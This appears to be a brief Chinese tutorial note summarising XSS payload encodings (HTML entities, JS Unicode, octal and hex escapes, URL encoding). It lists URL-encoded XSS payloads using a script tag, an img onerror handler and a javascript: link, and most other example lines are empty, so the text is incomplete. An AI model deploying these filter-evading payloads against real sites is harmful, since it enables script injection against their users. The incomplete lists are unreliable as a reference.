xss 全编码两次_xss编码小结

一、JS编码与HTML编码区分：

HTML实体可以使用十进制与十六进制编码；javascript可以使用Unicode与八进制与十六进制进行编码。

二、编码原理区分：

三、编码与非编码

对于JS编码：

1.(JS Unicode编码)

2. (JS八进制编码)

3.(JS十六进制编码)

对于HTML编码：

1.   (HTML实体十进制编码)

2. (HTML实体十六进制编码)

对于URL编码：

1.%3Cscript%3Ealert(%2Fxss%2F)%3Cscript%3E

2. %3Cimg%20src%3D1%20onerror%3Dalert(%2Fxss%2F)%3E

3. %3Ca%20href%3D'javascript%3Aalert(%2Fxss%2F)'%3Eclick%20me%3C%2Fa%3E

对于非编码：

1.

2.

3. click me